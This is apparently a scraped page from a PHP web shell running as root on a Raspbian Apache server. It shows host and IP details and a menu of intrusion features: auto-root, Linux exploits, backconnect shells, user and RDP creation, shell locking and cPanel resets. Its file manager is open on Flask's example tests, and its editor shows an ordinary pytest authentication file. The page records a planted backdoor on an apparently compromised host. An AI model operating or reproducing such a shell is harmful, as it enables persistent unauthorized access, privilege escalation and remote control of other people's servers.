Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
python-flask /
examples /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
conftest.py
1.44
KB
-rw-r--r--
data.sql
394
B
-rw-r--r--
test_auth.py
2.02
KB
-rw-r--r--
test_blog.py
2.51
KB
-rw-r--r--
test_db.py
617
B
-rw-r--r--
test_factory.py
298
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : test_auth.py
import pytest from flask import g, session from flaskr.db import get_db def test_register(client, app): # test that viewing the page renders without template errors assert client.get('/auth/register').status_code == 200 # test that successful registration redirects to the login page response = client.post( '/auth/register', data={'username': 'a', 'password': 'a'} ) assert 'http://localhost/auth/login' == response.headers['Location'] # test that the user was inserted into the database with app.app_context(): assert get_db().execute( "select * from user where username = 'a'", ).fetchone() is not None @pytest.mark.parametrize(('username', 'password', 'message'), ( ('', '', b'Username is required.'), ('a', '', b'Password is required.'), ('test', 'test', b'already registered'), )) def test_register_validate_input(client, username, password, message): response = client.post( '/auth/register', data={'username': username, 'password': password} ) assert message in response.data def test_login(client, auth): # test that viewing the page renders without template errors assert client.get('/auth/login').status_code == 200 # test that successful login redirects to the index page response = auth.login() assert response.headers['Location'] == 'http://localhost/' # login request set the user_id in the session # check that the user is loaded from the session with client: client.get('/') assert session['user_id'] == 1 assert g.user['username'] == 'test' @pytest.mark.parametrize(('username', 'password', 'message'), ( ('a', 'test', b'Incorrect username.'), ('test', 'a', b'Incorrect password.'), )) def test_login_validate_input(auth, username, password, message): response = auth.login(username, password) assert message in response.data def test_logout(client, auth): auth.login() with client: auth.logout() assert 'user_id' not in session
Close